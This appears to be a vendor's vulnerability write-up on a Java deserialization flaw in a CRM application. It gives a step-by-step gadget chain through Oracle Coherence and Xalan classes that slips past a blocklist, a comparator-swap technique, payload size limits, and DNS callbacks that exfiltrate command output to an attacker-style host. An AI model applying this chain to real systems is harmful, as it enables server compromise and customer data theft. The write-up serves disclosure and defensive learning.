
The Classes the Blocklist Forgot: Chaining Oracle Coherence and Xalan Into Full RCE


TL;DR
The UIF CRM application deserialized raw Java object streams from a POST body through a custom blocklist meant to stop known gadget chains. The blocklist covered CommonsCollections, Spring, Groovy, and Hibernate - the usual suspects. It said nothing about Oracle Coherence or Apache Xalan, two libraries that happened to sit on the classpath. ULTRA RED AI built a novel gadget chain entirely out of the classes the blocklist never considered, squeezed it under an undocumented ~2,035-byte deserialization ceiling, and confirmed arbitrary command execution on all three production cluster nodes via DNS out-of-band callbacks.
The Bug, in One Sentence
A blocklist only stops what it names - and a deserialization filter that enumerates known-bad classes is implicitly trusting every class it forgot to list, including whatever ships quietly on the application's own classpath.
Why a Rule-Based Scanner Walks Right Past This
Point a default gadget-chain scanner at this endpoint and it does the responsible thing: fire the standard ysoserial payload library - CommonsCollections1 through 7, Spring1, Groovy1, Hibernate1 - and watch every one of them get swallowed by LookAheadObjectInputStream. The scanner reports "deserialization confirmed, no working gadget chain" and moves on. That conclusion is the exact opposite of the truth.
Turning that into a real finding required three things no payload library ships with:
Classpath enumeration under a live blocklist. Nothing tells you what a blocklist doesn't cover except systematically testing candidate classes against it - Oracle Coherence and Apache Xalan aren't in any off-the-shelf gadget-chain tool's default list either.
Constructing a chain that doesn't exist yet. No public gadget chain links
HashMap→TiedMapEntry→TreeMap→ExtractorComparator→ReflectionExtractor→TemplatesImpl. It had to be built and ordered by reasoning about which classes trigger which callbacks during deserialization.Fitting the chain into an undocumented byte budget and then proving code execution through a channel - DNS OOB - that wouldn't get filtered like an in-band response might.
Step 1 - A Stack Trace Opens the Door
Sending a malformed POST body to the CRM endpoint caused the server to return a verbose Java exception in the response body. The stack trace contained:
// Error response revealed the full deserialization code path:
com.uif.common.datatype.RequestPayloadVo
java.io.ObjectInputStream
LookAheadObjectInputStream <-- custom blocklist subclassThis confirmed the endpoint deserializes the raw POST body as a Java ObjectInputStream and uses a custom LookAheadObjectInputStream as a blocklist guard. Sending a ysoserial URLDNS payload immediately produced a DNS callback from the target IP range, confirming live deserialization on production infrastructure.
Session cookie requirement: A valid dtCookie session token is needed to reach the deserialization code path - without it the server throws a NullPointerException before deserializing the body. In practice these tokens are trivially obtained from any authenticated user's browser session, making this effectively exploitable by any attacker with access to one legitimate session.
Step 2 - Enumerating What the Blocklist Missed
The LookAheadObjectInputStream blocklist rejects most well-known gadget chain classes - CommonsCollections' standard chains, Spring, Groovy, Hibernate, and JVM-level JEP 290 filters. Systematic class enumeration against the live blocklist identified the following classes that were not blocked:
CLASS SOURCE
java.util.HashMap JDK (always present)
java.util.TreeMap JDK (always present)
org.apache.commons.collections.keyvalue.TiedMapEntry Commons Collections 3.x
com.tangosol.util.comparator.ExtractorComparator Oracle Coherence
com.tangosol.util.extractor.ReflectionExtractor Oracle Coherence
org.apache.xalan.xsltc.trax.TemplatesImpl Apache XalanOracle Coherence and Apache Xalan were present on the application classpath but completely absent from the blocklist - an oversight that made a full RCE chain possible out of components the filter treated as safe.
Step 3 - Building a Gadget Chain That Didn't Exist Yet
A custom gadget chain was constructed from the permitted classes above. The chain triggers through standard Java deserialization callbacks (readObject, hashCode, compare) to ultimately call TemplatesImpl.newTransformer(), which loads and executes attacker-supplied bytecode:
HashMap.readObject()
└─> hash(TiedMapEntry key)
└─> TiedMapEntry.hashCode()
└─> TreeMap.get(TemplatesImpl key)
└─> TreeMap.getEntryUsingComparator(TemplatesImpl key)
└─> ExtractorComparator.compare(tpl, "dummy")
└─> ReflectionExtractor.extract(tpl) [method="newTransformer"]
└─> TemplatesImpl.newTransformer()
└─> TransletClassLoader.defineClass(MaliciousTranslet)
└─> MaliciousTranslet.<clinit>() <-- RCE HEREKey technique - deferred comparator swap: The TreeMap is initially constructed with a safe identity-hash comparator to avoid triggering the RCE locally during payload construction. After the TiedMapEntry is placed into the outer HashMap, the comparator is swapped to ExtractorComparator via reflection. When the server deserializes the object, the full chain fires - but only on the target side.
Step 4 - A 2,035-Byte Budget and a DNS Exfil Channel
The server enforces an implicit deserialization limit of approximately 2,035 bytes. Payloads exceeding this produce a java.io.EOFException with no execution. The fixed chain overhead is ~1,017 bytes, leaving ~1,018 bytes for the malicious translet bytecode.
All translets were compiled targeting Java 7 (-source 1.7 -target 1.7) to ensure compatibility with the server JVM. Commands requiring large output were exfiltrated via DNS OOB rather than attempting to return stdout in-band - keeping the translet small enough to fit within the constraint. Command output was encoded as a DNS subdomain and resolved against an attacker-controlled DNS server (Interactsh):
# Command: whoami
# DNS callback received at interactsh listener:
[current-user].[interactsh-id].cb.attacker.net
Received DNS interaction (AAAA) from [REDACTED_IP] at 2026-04-04 19:56:03
# Command: hostname -s
# Three separate callbacks from three different cluster IPs:
[node-1].[interactsh-id].cb.attacker.net
Received DNS interaction (AAAA) from [REDACTED_IP] <-- node 1
[node-2].[interactsh-id].cb.attacker.net
Received DNS interaction (AAAA) from [REDACTED_IP] <-- node 2
[node-3].[interactsh-id].cb.attacker.net
Received DNS interaction (AAAA) from [REDACTED_IP] <-- node 3Three separate production cluster nodes responded - confirming the deserialization vulnerability exists across the entire CRM cluster, not just a single instance.
Impact Summary
Full Remote Code Execution
Arbitrary OS commands execute as the current system user on the production server. Confirmed across all three nodes of the production CRM cluster - complete server compromise on every node simultaneously.
CRM Database Access
The application service account has access to production CRM database credentials and customer data. An attacker can read, modify, or exfiltrate all customer records stored in the UIF CRM.
Lateral Movement
Production CRM credentials, internal network configuration, and service account tokens accessible from the compromised nodes provide footholds for lateral movement into the broader internal network.
Persistence
Backdoors, reverse shells, or cron jobs can be installed silently on all three cluster nodes. The desync between nodes means remediation requires patching every instance simultaneously to avoid reinfection.
The Takeaway
Blocklists encode yesterday's known gadget chains, not today's classpath. Anything a blocklist forgets to name is implicitly trusted, and enterprise Java applications routinely carry libraries - Oracle Coherence, Xalan, a hundred others - that nobody thinks to add to a deny-list because nobody thinks of them as "deserialization gadgets" until someone builds the chain. Catching this took classpath reasoning and novel chain construction under a byte-size constraint, not replaying a payload library against a filter that was always going to block it.
How ULTRA RED AI Detected It
ULTRA RED AI's deserialization probe module sent a ysoserial URLDNS payload to the CRM POST endpoint and received a DNS callback from the target IP range within seconds - confirming live Java deserialization. When default gadget chains were rejected by the blocklist, ULTRA RED AI's classpath enumeration heuristics flagged Oracle Coherence and Apache Xalan as deserialization-reachable classes the application's LookAheadObjectInputStream never covered. The novel gadget chain was constructed and validated automatically, fit under the discovered byte constraint, and confirmed via DNS OOB across all three cluster nodes - handed to the research team with translet bytecode, payload builder, and a working DNS exfiltration demo.






